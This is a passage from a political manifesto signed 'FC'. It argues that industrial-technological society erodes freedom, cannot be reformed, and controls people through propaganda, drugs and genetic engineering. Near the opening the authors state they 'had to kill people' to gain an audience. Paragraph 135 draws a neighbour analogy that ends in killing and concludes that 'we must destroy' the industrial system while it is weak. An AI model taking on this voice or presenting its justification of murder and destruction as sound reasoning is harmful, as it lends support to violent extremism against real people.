freedom of the press is of very little use to the average citizen as an individual. The mass media are mostly under the control of large organizations that are integrated into the system. Anyone who has a little money can have something printed, or can distribute it on the Internet or in some such way, but what he has to say will be swamped by the vast volume of material put out by the media, hence it will have no practical effect. To make an impression on society with words is therefore almost impossible for most individuals and small groups. Take us (FC) for example. If we had never done anything violent and had submitted the present writings to a publisher, they probably would not have been accepted. If they had been been accepted and published, they probably would not have attracted many readers, because it's more fun to watch the entertainment put out by the media than to read a sober essay. Even ff these writings had had many readers, most of these readers would soon have forgotten what they had read as their minds were flooded by the mass of material to which the media expose them. In order to get our message before the public with some chance of making a lasting impression, we've had to kill people. 97. Constitutional rights are useful up to a point, but they do not serve to guarantee much more than what might be called the bourgeois conception of freedom. According to the bourgeois conception, a "free" man is essentially an element of a social machine and has only a certain set of prescribed and delimited freedoms; freedoms that are designed to serve the needs of the social machine more than those of the individual. Thus the bourgeois's "free" man has economic freedom because that promotes growth and progress; he has freedom of the press because public criticism restrains misbehavior by political leaders; he has a right to a fair trial because imprisonment at the whim of the powerful would be bad for the system. This was clearly the attitude of Simon Bolivar. To him, people deserved liberty only if they used it to promote progress (progress as conceived by the bourgeois). Other bourgeois thinkers have taken a similar view of freedom as a mere means to collective ends. Chester C. Tan, "Chinese Political Thought in the Twentieth Century," page 202, explains the philosophy of the Kuomintang leader Hu Han-min: "An individual is granted rights because he is a member of society and his community life requires such rights. By community Hu meant the whole society of the nation." And on page 259 Tan states that according to Carsum Chang (Chang Chun-mai, head of the State Socialist Party in China) freedom had to be used in the interest of the state and of the people as a whole. But what kind of freedom does one have if one can use it only as someone else prescribes? FC's conception of freedom is not that of Bolivar, Hu, Chang or other bourgeois theorists. The trouble with such theorists is that they have made the development and application of social theories their surrogate activity. Consequently the theories are designed to serve the needs of the theorists more than the needs of any people who may be unlucky enough to live in a society on which the theories are imposed. 98. One more point to be made in this section: It should not be assumed that a person has enough freedom just because he SAYS he has enough. Freedom is restricted in part by psychological controls of which people are unconscious, and moreover many people's ideas of what constitutes freedom are governed more by social convention than by their real needs. For example, it's likely that many leftists of the oversocialized type would say that most people, including themselves, are socialized too little rather than too much, yet the oversocialized leftist pays a heavy psychological price for his high level of socialization. SOME PRINCIPLES OF HISTORY 99. Think of history as being the sum of two components: an erratic component that consists of unpredictable events that follow no discernible pattern, and a regular component that consists of long-term historical trends. Here we are concerned with the long-term trends. 100. FIRST PRINCIPLE. If a SMALL change is made that affects a long-term historical trend, then the effect of that change will almost always be transitory -- the trend will soon revert to its original state. (Example: A reform movement designed to clean up political corruption in a society rarely has more than a short-term effect; sooner or later the reformers relax and corruption creeps back in. The level of political corruption in a given society tends to remain constant, or to change only slowly with the evolution of the society. Normally, a political cleanup will be permanent only if accompanied by widespread social changes; a SMALL change in the society won't be enough.) If a small change in a long-term historical trend appears to be permanent, it is only because the change acts in the direction in which the trend is already moving, so that the trend is not altered by only pushed a step ahead. 101. The first principle is almost a tautology. If a trend were not stable with respect to small changes, it would wander at random rather than following a definite direction; in other words it would not be a long-term trend at all. 102. SECOND PRINCIPLE. If a change is made that is sufficiently large to alter permanently a long-term historical trend, then it will alter the society as a whole. In other words, a society is a system in which all parts are interrelated, and you can't permanently change any important part without changing all other parts as well. 103. THIRD PRINCIPLE. If a change is made that is large enough to alter permanently a long-term trend, then the consequences for the society as a whole cannot be predicted in advance. (Unless various other societies have passed through the same change and have all experienced the same consequences, in which case one can predict on empirical grounds that another society that passes through the same change will be like to experience similar consequences.) 104. FOURTH PRINCIPLE. A new kind of society cannot be designed on paper. That is, you cannot plan out a new form of society in advance, then set it up and expect it to function as it was designed to do. 105. The third and fourth principles result from the complexity of human societies. A change in human behavior will affect the economy of a society and its physical environment; the economy will affect the environment and vice versa, and the changes in the economy and the environment will affect human behavior in complex, unpredictable ways; and so forth. The network of causes and effects is far too complex to be untangled and understood. 106. FIFTH PRINCIPLE. People do not consciously and rationally choose the form of their society. Societies develop through processes of social evolution that are not under rational human control. 107. The fifth principle is a consequence of the other four. 108. To illustrate: By the first principle, generally speaking an attempt at social reform either acts in the direction in which the society is developing anyway (so that it merely accelerates a change that would have occurred in any case) or else it has only a transitory effect, so that the society soon slips back into its old groove. To make a lasting change in the direction of development of any important aspect of a society, reform is insufficient and revolution is required. (A revolution does not necessarily involve an armed uprising or the overthrow of a government.) By the second principle, a revolution never changes only one aspect of a society, it changes the whole society; and by the third principle changes occur that were never expected or desired by the revolutionaries. By the fourth principle, when revolutionaries or utopians set up a new kind of society, it never works out as planned. 109. The American Revolution does not provide a counterexample. The American "Revolution" was not a revolution in our sense of the word, but a war of independence followed by a rather far-reaching political reform. The Founding Fathers did not change the direction of development of American society, nor did they aspire to do so. They only freed the development of American society from the retarding effect of British rule. Their political reform did not change any basic trend, but only pushed American political culture along its natural direction of development. British society, of which American society was an offshoot, had been moving for a long time in the direction of representative democracy. And prior to the War of Independence the Americans were already practicing a significant degree of representative democracy in the colonial assemblies. The political system established by the Constitution was modeled on the British system and on the colonial assemblies. With major alteration, to be sure -- there is no doubt that the Founding Fathers took a very important step. But it was a step along the road that English-speaking world was already traveling. The proof is that Britain and all of its colonies that were populated predominantly by people of British descent ended up with systems of representative democracy essentially similar to that of the United States. If the Founding Fathers had lost their nerve and declined to sign the Declaration of Independence, our way of lffe today would not have been significantly different. Maybe we would have had somewhat closer ties to Britain, and would have had a Parliament and Prime Minister instead of a Congress and President. No big deal. Thus the American Revolution provides not a counterexample to our principles but a good illustration of them. 110. Still, one has to use common sense in applying the principles. They are expressed in imprecise language that allows latitude for interpretation, and exceptions to them can be found. So we present these principles not as inviolable laws but as rules of thumb, or guides to thinking, that may provide a partial antidote to naive ideas about the future of society. The principles should be borne constantly in mind, and whenever one reaches a conciusion that conflicts with them one should carefully reexamine one's thinking and retain the conclusion only if one has good, solid reasons for doing so. INDUSTRIAL-TECHNOLOGICAL SOCIETY CANNOT BE REFORMED 111. The foregoing principles help to show how hopelessly difficult it would be to reform the industrial system in such a way as to prevent it from progressively narrowing our sphere of freedom. There has been a consistent tendency, going back at least to the Industrial Revolution for technology to strengthen the system at a high cost in individual freedom and local autonomy. Hence any change designed to protect freedom from technology would be contrary to a fundamental trend in the development of our society. Consequently, such a change either would be a transitory one -- soon swamped by the tide of history -- or, if large enough to be permanent would alter the nature of our whole society. This by the first and second principles. Moreover, since society would be altered in a way that could not be predicted in advance (third principle) there would be great risk. Changes large enough to make a lasting difference in favor of freedom would not be initiated because it would be realized that they would gravely disrupt the system. So any attempts at reform would be too timid to be effective. Even if changes large enough to make a lasting difference were initiated, they would be retracted when their disruptive effects became apparent. Thus, permanent changes in favor of freedom could be brought about only by persons prepared to accept radical, dangerous and unpredictable alteration of the entire system. In other words by revolutionaries, not reformers. 112. People anxious to rescue freedom without sacrificing the supposed benefits of technology will suggest naive schemes for some new form of society that would reconcile freedom with technology. Apart from the fact that people who make such suggestions seldom propose any practical means by which the new form of society could be set up in the first place, it follows from the fourth principle that even if the new form of society could be once established, it either would collapse or would give results very different from those expected. 113. So even on very general grounds it seems highly improbable that any way of changing society could be found that would reconcile freedom with modern technology. In the next few sections we will give more specific reasons for concluding that freedom and technological progress are incompatible. RESTRICTION OF FREEDOM IS UNAVOIDABLE IN INDUSTRIAL SOCIETY 114. As explained in paragraphs 65-67, 70-73, modern man is strapped down by a network of rules and regulations, and his fate depends on the actions of persons remote from him whose decisions he cannot influence. This is not accidental or a result of the arbitrariness of arrogant bureaucrats. It is necessary and inevitable in any technologically advanced society. The system HAS TO regulate human behavior closely in order to function. At work people have to do what they are told to do, otherwise production would be thrown into chaos. Bureaucracies HAVE TO be run according to rigid rules. To allow any substantial personal discretion to lower-level bureaucrats would disrupt the system and lead to charges of unfairness due to differences in the way individual bureaucrats exercised their discretion. It is true that some restrictions on our freedom could be eliminated, but GENERALLY SPEAKING the regulation of our lives by large organizations is necessary for the functioning of industrial-technological society. The result is a sense of powerlessness on the part of the average person. It may be, however, that formal regulations will tend increasingly to be replaced by psychological tools that make us want to do what the system requires of us. (Propaganda [14], educational techniques, "mental health" programs, etc.) 115. The system HAS TO force people to behave in ways that are increasingly remote from the natural pattern of human behavior. For example, the system needs scientists, mathematicians and engineers. It can't function without them. So heavy pressure is put on children to excel in these fields. It isn't natural for an adolescent human being to spend the bulk of his time sitting at a desk absorbed in study. A normal adolescent wants to spend his time in active contact with the real world. Among primitive peoples the things that children are trained to do tend to be in reasonable harmony with natural human impulses. Among the American Indians, for example, boys were trained in active outdoor pursuits -- just the sort of thing that boys like. But in our society children are pushed into studying technical subjects, which most do grudgingly. [[116 not used.]] 117. In any technologically advanced society the individual's fate MUST depend on decisions that he personally cannot influence to any great extent. A technological society cannot be broken down into small, autonomous communities, because production depends on the cooperation of very large numbers of people. When a decision affects, say, a million people, then each of the affected individuals has, on the average, only a one-millionth share in making the decision. What usually happens in practice is that decisions are made by public officials or corporation executives, or by technical specialists, but even when the public votes on a decision the number of voters ordinarily is too large for the vote of any one individual to be significant. [17] Thus most individuals are unable to influence measurably the major decisions that affect their lives. There is no conceivable way to remedy this in a technologically advanced society. The system tries to "solve" this problem by using propaganda to make people WANT the decisions that have been made for them, but even if this "solution" were completely successful in making people feel better, it would be demeaning. 118. Conservatives and some others advocate more "local autonomy." Local communities once did have autonomy, but such autonomy becomes less and less possible as local communities become more enmeshed with and dependent on large-scale systems like public utilities, computer networks, highway systems, the mass communications media, the modern health care system. Also operating against autonomy is the fact that technology applied in one location often affects people at other locations far way. Thus pesticide or chemical use near a creek may contaminate the water supply hundreds of miles downstream, and the greenhouse effect affects the whole world. 119. The system does not and cannot exist to satisfy human needs. Instead, it is human behavior that has to be modified to fit the needs of the system. This has nothing to do with the political or social ideology that may pretend to guide the technological system. It is the fault of technology, because the system is guided not by ideology but by technical necessity. [18] Of course the system does satisfy many human needs, but generally speaking it does this only to the extend that it is to the advantage of the system to do it. It is the needs of the system that are paramount, not those of the human being. For example, the system provides people with food because the system couldn't function if everyone starved; it attends to people's psychological needs whenever it can CONVENIENTLY do so, because it couldn't function if too many people became depressed or rebellious. But the system, for good, solid, practical reasons, must exert constant pressure on people to mold their behavior to the needs of the system. To much waste accumulating? The government, the media, the educational system, environmentalists, everyone inundates us with a mass of propaganda about recycling. Need more technical personnel? A chorus of voices exhorts kids to study science. No one stops to ask whether it is inhumane to force adolescents to spend the bulk of their time studying subjects most of them hate. When skilled workers are put out of a job by technical advances and have to undergo "retraining," no one asks whether it is humiliating for them to be pushed around in this way. It is simply taken for granted that everyone must bow to technical necessity. and for good reason: If human needs were put before technical necessity there would be economic problems, unemployment, shortages or worse. The concept of "mental health" in our society is defined largely by the extent to which an individual behaves in accord with the needs of the system and does so without showing signs of stress. 120. Efforts to make room for a sense of purpose and for autonomy within the system are no better than a joke. For example, one company, instead of having each of its employees assemble only one section of a catalogue, had each assemble a whole catalogue, and this was supposed to give them a sense of purpose and achievement. Some companies have tried to give their employees more autonomy in their work, but for practical reasons this usually can be done only to a very limited extent, and in any case employees are never given autonomy as to ultimate goals -- their "autonomous" efforts can never be directed toward goals that they select personally, but only toward their employer's goals, such as the survival and growth of the company. Any company would soon go out of business if it permitted its employees to act otherwise. Similarly, in any enterprise within a socialist system, workers must direct their efforts toward the goals of the enterprise, otherwise the enterprise will not serve its purpose as part of the system. Once again, for purely technical reasons it is not possible for most individuals or small groups to have much autonomy in industrial society. Even the small-business owner commonly has only limited autonomy. Apart from the necessity of government regulation, he is restricted by the fact that he must fit into the economic system and conform to its requirements. For instance, when someone develops a new technology, the small- business person often has to use that technology whether he wants to or not, in order to remain competitive. THE 'BAD' PARTS OF TECHNOLOGY CANNOT BE SEPARATED FROM THE 'GOOD' PARTS 121. A further reason why industrial society cannot be reformed in favor of freedom is that modern technology is a unified system in which all parts are dependent on one another. You can't get rid of the "bad" parts of technology and retain only the "good" parts. Take modern medicine, for example. Progress in medical science depends on progress in chemistry, physics, biology, computer science and other fields. Advanced medical treatments require expensive, high-tech equipment that can be made available only by a technologically progressive, economically rich society. Clearly you can't have much Progress in medicine without the whole technological system and everything that goes with it. 122. Even if medical progress could be maintained without the rest of the technological system, it would by itself bring certain evils. Suppose for example that a cure for diabetes is discovered. People with a genetic tendency to diabetes will then be able to survive and reproduce as well as anyone else. Natural selection against genes for diabetes will cease and such genes will spread throughout the population. (This may be occurring to some extent already, since diabetes, while not curable, can be controlled through use of insulin.) The same thing will happen with many other diseases susceptibility to which is affected by genetic degradation of the population. The only solution will be some sort of eugenics program or extensive genetic engineering of human beings, so that man in the future will no longer be a creation of nature, or of chance, or of God (depending on your religious or philosophical opinions), but a manufactured product. 123. If you think that big government interferes in your life too much NOW, just wait till the government starts regulating the genetic constitution of your children. Such regulation will inevitably follow the introduction of genetic engineering of human beings, because the consequences of unregulated genetic engineering would be disastrous. [19] 124. The usual response to such concerns is to talk about "medical ethics." But a code of ethics would not serve to protect freedom in the face of medical progress; it would only make matters worse. A code of ethics applicable to genetic engineering would be in effect a means of regulating the genetic constitution of human beings. Somebody (probably the upper-middle class, mostly) would decide that such and such applications of genetic engineering were "ethical". and others were not, so that in effect they would be imposing their own values on the genetic constitution of the population at large. Even if a code of ethics were chosen on a completely democratic basis, the majority would be imposing their own values on any minorities who might have a different idea of what constituted an "ethical" use of genetic engineering. The only code of ethics that would truly protect freedom would be one that prohibited ANY genetic engineering of human beings, and you can be sure that no such code will ever be applied in a technological society. No code that reduced genetic engineering to a minor role could stand up for long, because the temptation presented by the immense power of biotechnology would be irresistible, especially since to the majority of people many of its applications will seem obviously and unequivocally good (eliminating physical and mental diseases, giving people the abilities they need to get along in today's world). Inevitably, genetic engineering will be used extensively, but only in ways consistent with the needs of the industrial-technological system. [20] TECHNOLOGY IS A MORE POWERFUL SOCIAL FORCE THAN THE ASPIRATION FOR FREEDOOM 125. It is not possible to make a LASTING compromise between technology and freedom, because technology is by far the more powerful social force and continually encroaches on freedom through REPEATED compromises. Imagine the case of two neighbors, each of whom at the outset owns the same amount of land, but one of whom is more powerful than the other. The powerful one demands a piece of the other's land. The weak one refuses. The powerful one says, "OK, let's compromise. Give me half of what I asked." The weak one has little choice but to give in. Some time later the powerful neighbor demands another piece of land, again there is a compromise, and so forth. By forcing a long series of compromises on the weaker man, the powerful one eventually gets all of his land. So it goes in the conflict between technology and freedom. 126. Let us explain why technology is a more powerful social force than the aspiration for freedom. 127. A technological advance that appears not to threaten freedom often turns out to threaten it very seriously later on. For example, consider motorized transport. A walking man formerly could go where he pleased, go at his own pace without observing any traffic regulations, and was independent of technological support-systems. When motor vehicles were introduced they appeared to increase man's freedom. They took no freedom away from the walking man, no one had to have an automobile if he didn't want one, and anyone who did choose to buy an automobile could travel much faster and farther than a walking man. But the introduction of motorized transport soon changed society in such a way as to restrict greatly man's freedom of locomotion. When automobiles became numerous, it became necessary to regulate their use extensively. In a car, especially im densely populated areas, one cannot just go where one likes at one's own pace one's movement is governed by the flow of traffic and by various traffic laws. One is tied down by various obligations: license requirements, driver test, renewing registration, insurance, maintenance required for safety, monthly payments on purchase price. Moreover, the use of motorized transport is no longer optional. Since the introduction of motorized transport the arrangement of our cities has changed in such a way that the majority of people no longer live within walking distance of their place of employment, shopping areas and recreational opportunities, so that they HAVE TO depend on the automobile for transportation. Or else they must use public transportation, in which case they have even less control over their own movement than when driving a car. Even the walker's freedom is now greatly restricted. In the city he continually has to stop to wait for traffic lights that are designed mainly to serve auto traffic. In the country, motor traffic makes it dangerous and unpleasant to walk along the highway. (Note this important point that we have just illustrated with the case of motorized transport: When a new item of technology is introduced as an option that an individual can accept or not as he chooses, it does not necessarily REMAIN optional. In many cases the new technology changes society in such a way that people eventually find themselves FORCED to use it.) 128. While technological progress AS A WHOLE continually narrows our sphere of freedom, each new technical advance CONSIDERED BY ITSELF appears to be desirable. Electricity, indoor plumbing, rapid long-distance communications ... how could one argue against any of these things, or against any other of the innumerable technical advances that have made modern society? It would have been absurd to resist the introduction of the telephone, for example. It offered many advantages and no disadvantages. Yet, as we explained in paragraphs 59-76, all these technical advances taken together have created a world in which the average man's fate is no longer in his own hands or in the hands of his neighbors and friends, but in those of politicians, corporation executives and remote, anonymous technicians and bureaucrats whom he as an individual has no power to influence. [21] The same process will continue in the future. Take genetic engineering, for example. Few people will resist the introduction of a genetic technique that eliminates a hereditary disease. It does no apparent harm and prevents.much suffering. Yet a large number of genetic improvements taken together will make the human being into an engineered product rather than a free creation of chance (or of God, or whatever, depending on your religious beliefs). 129. Another reason why technology is such a powerful social force is that, within the context of a given society, technological progress marches in only one direction; it can never be reversed. Once a technical innovation has been introduced, people usually become dependent on it, so that they can never again do without it, unless it is replaced by some still more advanced innovation. Not only do people become dependent as individuals on a new item of technology, but, even more, the system as a whole becomes dependent on it. (Imagine what would happen to the system today if computers, for example, were eliminated.) Thus the system can move in only one direction, toward greater technologization. Technology repeatedly forces freedom to take a step back, but technology can never take a step back -- short of the overthrow of the whole technological system. 130. TechnoIogy advances with great rapidity and threatens freedom at many different points at the same time (crowding, rules and regulations, increasing dependence of individuals on large organizations, propaganda and other psychological techniques, genetic engineering, invasion of privacy through surveillance devices and computers, etc.). To hold back any ONE of the threats to freedom would require a long and difficult social struggle. Those who want to protect freedom are overwhelmed by the sheer number of new attacks and the rapidity with which they develop, hence they become apathetic and no longer resist. To fight each of the threats separately would be futile. Success can be hoped for only by fighting the technological system as a whole; but that is revolution, not reform. 131. Technicians (we use this term in its broad sense to describe all those who perform a specialized task that requires training) tend to be so involved in their work (their surrogate activity) that when a conflict arises between their technical work and freedom, they almost always decide in favor of their technical work. This is obvious in the case of scientists, but it also appears elsewhere: Educators humanitarian groups, conservation organizations do not hesitate to use propaganda or other psychological techniques to help them achieve their laudable ends. Corporations and government agencies, when they find it useful, do not hesitate to collect information about individuals without regard to their privacy. Law enforcement agencies are frequently inconvenienced by the constitutional rights of suspects and often of completely innocent persons, and they do whatever they can do legally (or sometimes illegally) to restrict or circumvent those rights. Most of these educators, government officials and law officers believe in freedom, privacy and constitutional rights, but when these conflict with their work, they usually feel that their work is more important. 132. It is well known that people generally work better and more persistently when striving for a reward than when attempting to avoid a punishment or negative outcome. Scientists and other technicians are motivated mainly by the rewards they get through their work. But those who oppose technological invasions of freedom are working to avoid a negative outcome, consequently there are few who work persistently and well at this discouraging task. If reformers ever achieved a signal victory that seemed to set up a solid barrier against further erosion of freedom through technical progress, most would tend to relax and turn their attention to more agreeable pursuits. But the scientists would remain busy in their laboratories, and technology as it progresses would find ways, in spite of any barriers, to exert more and more control over individuals and make them always more dependent on the system. 133. No social arrangements, whether laws, institutions, customs or ethical codes, can provide permanent protection against technology. History shows that all social arrangements are transitory; they all change or break down eventually. But technological advances are permanent within the context of a given civilization. Suppose for example that it were possible to arrive at some social arrangements that would prevent genetic engineering from being applied to human beings, or prevent it from being applied in such a way as to threaten freedom and dignity. Still, the technology would remain waiting. Sooner or later the social arrangement would break down. Probably sooner, given the pace of change in our society. Then genetic engineering would begin to invade our sphere of freedom. and this invasion would be irreversible (short of a breakdown of technological civilization itself). Any illusions about achieving anything permanent through social arrangements should be dispelled by what is currently happening with environmental legislation. A few years ago its seemed that there were secure legal barriers preventing at least SOME of the worst forms of environmental degradation. A change in the political wind, and those barriers begin to crumble. 134. For all of the foregoing reasons, technology is a more powerful social force than the aspiration for freedom. But this statement requires an important qualification. It appears that during the next several decades the industrial-technological system will be undergoing severe stresses due to economic and environmental problems, and especially due to problems of human behavior (alienation, rebellion, hostility, a variety of social and psychological difficulties). We hope that the stresses through which the system is likely to pass will cause it to break down, or at least will weaken it sufficiently so that a revolution against it becomes possible. If such a revolution occurs and is successful, then at that particular moment the aspiration for freedom will have proved more powerful than technology. 135. In paragraph 125 we used an analogy of a weak neighbor who is left destitute by a strong neighbor who takes all his land by forcing on him a series of compromises. But suppose now that the strong neighbor gets sick, so tha he is unable to defend himself. The weak neighbor can force the strong one to give him his land back, or he can kill him. If he lets the strong man survive and only forces him to give the land back, he is a fool, because when the strong man gets well he will again take all the land for himself. The only sensible alternative for the weaker man is to kill the strong one while he has the chance. In the same way, while the industrial system is sick we must destroy it. If we compromise with it and let it recover from its sickness, it will eventually wipe out all of our freedom. SIMPLER SOCIAL PROBLEMS HAVE PROVED INTRACTABLE 136. If anyone still imagines that it would be possible to reform the system in such a way as to protect freedom from technology, let him consider how clumsily and for the most part unsuccessfully our society has dealt with other social problems that are far more simple and straighfforward. Among other things, the system has failed to stop environmental degradation, political corruption, drug trafficking or domestic abuse. 137. Take our environmental problems, for example. Here the conflict of values is straightforward: economic expedience now versus saving some of our natural resources for our grandchildren. [22] But on this subject we get only a lot of blather and obfuscation from the people who have power, and nothing like a clear, consistent line of action, and we keep on piling up environmental problems that our grandchildren will have to live with. Attempts to resolve the environmental issue consist of struggles and compromises between different factions, some of which are ascendant at one moment, others at another moment. The line of struggle changes with the shifting currents of public opinion. This is not a rational process, nor is it one that is likely to lead to a timely and successful solution to the problem. Major social problems, if they get "solved" at all, are rarely or never solved through any rational, comprehensive plan. They just work themselves out through a process in which various competing groups pursuing their own (usually short-term) self-interest [23] arrive (mainly by luck) at some more or less stable modus vivendi. In fact, the principles we formulated in paragraphs 100-106 make it seem doubtful that rational long-term social planning can EVER be successful. 138. Thus it is clear that the human race has at best a very limited capacity for solving even relatively straightforward social problems. How then is it going to solve the far more difficult and subtle problem of reconciling freedom with technology? Technology presents clear-cut material advantages, whereas freedom is an abstraction that means different things to different people. and its loss is easily obscured by propaganda and fancy talk. 139. And note this important difference: It is conceivable that our environmental problems (for example) may some day be settled through a rational, comprehensive plan, but if this happens it will be only because it is in the longterm interest of the system to solve these problems. But it is NOT in the interest of the system to preserve freedom or small-group autonomy. On the contrary, it is in the interest of the system to bring human behavior under control to the greatest possible extent. [24] Thus, while practical considerations may eventually force the system to take a rational, prudent approach to environmental problems, equally practical considerations will force the system to regulate human behavior ever more closely (preferably by indirect means that will disguise the encroachment on freedom). This isn't just our opinion. Eminent social scientists (e.g. James Q. Wilson) have stressed the importance of "socializing" people more effectively. REVOLUTION IS EASIER THAN REFORM 140. We hope we have convinced the reader that the system cannot be reformed in such a way as to reconcile freedom with technology. The only way out is to dispense with the industrialtechnological system altogether. This implies revolution, not necessarily an armed uprising, but certainly a radical and fundamental change in the nature of society. 141. People tend to assume that because a revolution involves a much greater change than reform does, it is more difficult to bring about than reform is. Actually, under certain circumstances revolution is much easier than reform. The reason is that a revolutionary movement can inspire an intensity of commitment that a reform movement cannot inspire. A reform movement merely offers to solve a particular social problem. A revolutionary movement offers to solve all problems at one stroke and create a whole new world; it provides the kind of ideal for which people will take great risks and make great sacrifices. For this reasons it would be much easier to overthrow the whole technological system than to put effective, permanent restraints on the development or application of any one segment of technology, such as genetic engineering, for example. Not many people will devote themselves with single-minded passion to imposing and maintaining restraints on genetic engineering, but under suitable conditions large numbers of people may devote themselves passionately to a revolution against the industrial-technological system. As we noted in paragraph 132, reformers seeking to limit certain aspects of technology would be working to avoid a negative outcome. But revolutionaries work to gain a powerful reward -- fulfillment of their revolutionary vision and therefore work harder and more persistently than reformers do. 142. Reform is always restrained by the fear of painful consequences if changes go too far. But once a revolutionary fever has taken hold of a society, people are willing to undergo unlimited hardships for the sake of their revolution. This was clearly shown in the French and Russian Revolutions. It may be that in such cases only a minority of the population is really committed to the revolution, but this minority is sufficiently large and active so that it becomes the dominant force in society. We will have more to say about revolution in paragraphs 180-205. CONTROL OF HUMAN BEHAVIOR 143. Since the beginning of civilization, organized societies have had to put pressures on human beings of the sake of the functioning of the social organism. The kinds of pressures vary greatly from one society to another. Some of the pressures are physical (poor diet, excessive labor, environmental pollution), some are psychological (noise, crowding, forcing human behavior into the mold that society requires). In the past, human nature has been approximately constant, or at any rate has varied only within certain bounds. Consequently, societies have been able to push people only up to certain limits. When the limit of human endurance has been passed, things start going wrong: rebellion, or crime, or corruption, or evasion of work, or depression and other mental problems, or an elevated death rate, or a declining birth rate or something else, so that either the society breaks down, or its functioning becomes too inefficient and it is (quickly or gradually, through conquest, attrition or evolution) replaced by some more efficient form of society. [25] 144. Thus human nature has in the past put certain limits on the development of societies. People could be pushed only so far and no farther. But today this may be changing, because modern technology is developing ways of modifying human beings. 145. Imagine a society that subjects people to conditions that make them terribly unhappy, then gives them drugs to take away their unhappiness. Science fiction? It is already happening to some extent in our own society. It is well known that the rate of clinical depression has been greatly increasing in recent decades. We believe that this is due to disruption of the power process, as explained in paragraphs 59-76. But even if we are wrong, the increasing rate of depression is certainly the result of SOME conditions that exist in today's society. Instead of removing the conditions that make people depressed, modern society gives them antidepressant drugs. In effect, antidepressants are a means of modifying an individual's internal state in such a way as to enable him to tolerate social conditions that he would otherwise find intolerable. (Yes, we know that depression is often of purely genetic origin. We are referring here to those cases in which environment plays the predominant role.) 146. Drugs that affect the mind are only one example of the new methods of controlling human behavior that modern society is developing. Let us look at some of the other methods. 147. To start with, there are the techniques of surveillance. Hidden video cameras are now used in most stores and in many other places, computers are used to collect and process vast amounts of information about individuals. Information so obtained greatly increases the effectiveness of physical coercion (i.e., law enforcement). [26] Then there are the methods of propaganda, for which the mass communication media provide effective vehicles. Efflcient techniques have been developed for winning elections, selling products, influencing public opinion. The entertainment industry serves as an important psychological tool of the system, possibly even when it is dishing out large amounts of sex and violence. Entertainment provides modern man with an essential means of escape. While absorbed in television, videos, etc., he can forget stress, anxiety, frustration, dissatisfaction. Many primitive peoples, when they don't have work to do, are quite content to sit for hours at a time doing nothing at all, because they are at peace with themselves and their world. But most modern people must be constantly occupied or entertained, otherwise they get "bored," i.e., they get fidgety, uneasy, irritable. 148. Other techniques strike deeper than the foregoing. Education is no longer a simple affair of paddling a kid's behind when he doesn't know his lessons and patting him on the head when he does know them. It is becoming a scientific technique for controlling the child's development. Sylvan Learning Centers, for example, have had great success in motivating children to study, and psychological techniques are also used with more or less success in many conventional schools. "Parenting" techniques that are taught to parents are designed to make children accept fundamental values of the system and behave in ways that the system finds desirable. "Mental health" programs, "intervention" techniques, psychotherapy and so forth are ostensibly designed to benefit individuals, but in practice they usually serve as methods for inducing individuals to think and behave as the system requires. (There is no contradiction here; an individual whose attitudes or behavior bring him into conflict with the system is up against a force that is too powerful for him to conquer or escape from, hence he is likely to suffer from stress, frustration, defeat. His path will be much easier if he thinks and behaves as the system requires. In that sense the system is acting for the benefit of the individual when it brainwashes him into conformity.) Child abuse in its gross and obvious forms is disapproved in most if not all cultures. Tormenting a child for a trivial reason or no reason at all is something that appalls almost everyone. But many psychologists interpret the concept of abuse much more broadly. Is spanking, when used as part of a rational and consistent system of discipline, a form of abuse? The question will ultimately be decided by whether or not spanking tends to produce behavior that makes a person fit in well with the existing system of society. In practice, the word "abuse" tends to be interpreted to include any method of child-rearing that produces behavior inconvenient for the system. Thus, when they go beyond the prevention of obvious, senseless cruelty, programs for preventing "child abuse" are directed toward the control of human behavior on behalf of the system. 149. Presumably, research will continue to increase the effectiveness of psychological techniques for controlling human behavior. But we think it is unlikely that psychological techniques alone will be sufficient to adjust human beings to the kind of society that technology is creating. Biological methods probably will have to be used. We have already mentioned the use of drugs in this connection. Neurology may provide other avenues for modifying the human mind. Genetic engineering of human beings is already beginning to occur in the form of "gene therapy," and there is no reason to assume that such methods will not eventually be used to modify those aspects of the body that affect mental functioning. 150. As we mentioned in paragraph 134, industrial society seems likely to be entering a period of severe stress, due in part to problems of human behavior and in part to economic and environmental problems. And a considerable proportion of the system's economic and environmental problems result from the way human beings behave. Alienation, low self-esteem, depression, hostility, rebellion; children who won't study, youth gangs, illegal drug use, rape, child abuse, other crimes, unsafe sex, teen pregnancy, population growth, political corruption, race hatred, ethnic rivalry, bitter ideological conflict (e.g., pro-choice vs. pro-life), political extremism, terrorism, sabotage, anti-government groups, hate groups. All these threaten the very survival of the system. The system will therefore be FORCED to use every practical means of controlling human behavior. 151. The social disruption that we see today is certainly not the result of mere chance. It can only be a result of the conditions of life that the system imposes on people. (We have argued that the most important of these conditions is disruption of the power process.) If the systems succeeds in imposing sufficient control over human behavior to assure its own survival, a new watershed in human history will have been passed. Whereas formerly the limits of human endurance have imposed limits on the development of societies (as we explained in Paragraphs 143, 144), industrial-technological society will be able to pass those limits by modifying human beings, whether by psychological methods or biological methods or both. In the future, social systems will not be adjusted to suit the needs of human beings. Instead, human being will be adjusted to suit the needs of the system. [27] 152. GeneraUy speaking, technological control over human behavior will probably not be introduced with a totalitarian intention or even through a conscious desire to restrict human freedom. [28] Each new step in the assertion of control over the human mind will be taken as a rational response to a problem that faces society, such as curing alcoholism, reducing the crime rate or inducing young people to study science and engineering. In many cases there will be a humanitarian justification. For example, when a psychiatrist prescribes an anti-depressant for a depressed patient, he is clearly doing that individual a favor. It would be inhumane to withhold the drug from someone who needs it. When Parents send their children to Sylvan Learning Centers to have them manipulated into becoming enthusiastic about their studies, they do so from concern for their children's welfare. It may be that some of these parents wish that one didn't have to have specialized training to get a job and that their kid didn't have to be brainwashed into becoming a computer nerd. But what can they do? They can't change society, and their child may be unemployable if he doesn't have certain skills. So they send him to Sylvan. 153. Thus control over human behavior will be introduced not by a calculated decision of the authorities but through a process of social evolution (RAPID evolution, however). The process will be impossible to resist, because each advance, considered by itself, will appear to be beneficial, or at least the evil involved in making the advance will appear to be beneficial, or at least the evil involved in making the advance will seem to be less than that which would result from not making it (see paragraph 127). Propaganda for example is used for many good purposes, such as discouraging child abuse or race hatred. [14] Sex education is obviously useful, yet the effect of sex education (to the extent that it is successful) is to take the shaping of sexual attitudes away from the family and put it into the hands of the state as represented by the public school system. 154. Suppose a biological trait is discovered that increases the likelihood that a child will grow up to be a criminal, and suppose some sort of gene therapy can remove this trait. [29] Of course most parents whose children possess the trait will have them undergo the therapy. It would be inhumane to do otherwise, since the child would probably have a miserable life if he grew up to be a criminal. But many or most primitive societies have 